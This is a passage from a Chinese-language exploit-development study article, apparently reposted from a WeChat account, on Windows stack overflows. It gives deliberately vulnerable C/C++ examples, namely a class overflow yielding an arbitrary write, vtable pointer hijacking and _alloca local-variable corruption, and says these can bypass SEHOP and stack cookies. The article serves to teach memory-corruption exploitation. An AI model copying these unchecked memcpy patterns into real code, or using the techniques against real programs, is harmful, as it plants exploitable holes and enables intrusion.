图 41. 使用结构体进行任意写入的堆栈溢出

    适用于结构的相同概念也适用于 C++ 类,前提是它们被声明为局部变量并在堆栈上分配。

class MyClass {public:    char Buf[16];    uint32_t dwVar1;    uint32_t* pdwVar2;};
void OverflowClass(uint8_t* pInputBuf, uint32_t dwInputBufSize) {    MyClass TestClass;    TestClass.dwVar1 = 1;    TestClass.pdwVar2 = &gdwGlobalVar;    memcpy(TestClass.Buf, pInputBuf, dwInputBufSize);    *TestClass.pdwVar2 = TestClass.dwVar1;}

图 42. 使用类进行任意写入的堆栈溢出

    当涉及到类时,通过破坏它们的 vtable 指针会打开一个额外的攻击向量。 这些 vtable 包含指向可执行代码的附加指针,这些指针可以在 RET 指令之前通过损坏的类作为方法调用,从而提供了一种通过局部变量损坏劫持 EIP 的附加方法,而无需使用任意写入原语。

    易受局部变量损坏的代码模式的最后一个示例是使用运行时堆栈分配函数,例如 _alloca。 由于此类函数执行的分配是在函数的堆栈帧已经建立后通过从 ESP 中减去来实现的,因此此类函数分配的内存将始终位于较低的堆栈内存中,因此无法重新排序或免疫此类攻击 .

void OverflowAlloca(uint8_t* pInputBuf, uint32_t dwInputBufSize) {    uint32_t dwValue = 1;    uint32_t* pgdwGlobalVar = &gdwGlobalVar;    char* Buf = (char*)_alloca(16);    memcpy(Buf, pInputBuf, dwInputBufSize);    *pgdwGlobalVar = dwValue;}

图 43. 易受 _alloca 局部变量破坏的函数

    请注意,尽管上面的函数不包含数组,但 MSVC 足够聪明,可以理解使用 _alloca 函数构成了在结果函数中包含堆栈 cookie 的充分理由。

    这里讨论的技术代表了现代 Windows 的堆栈溢出攻击面,没有明确的安全缓解措施。 但是,它们的可靠利用取决于此处讨论的特定代码模式以及(在任意写入的情况下)链式内存泄漏原语。 他们有能力绕过这篇文章中讨论过的 SEHOP 和堆栈金丝雀缓解措施。

------------------------------------------------------------------------------

OSED(那些学习过程中被人们遗忘的东西)


原文始发于微信公众号(We are SiYi):OSED(那些学习过程中被人们遗忘的东西)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月20日10:16:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OSED(那些学习过程中被人们遗忘的东西)http://cn-sec.com/archives/1244811.html

发表评论

匿名网友 填写信息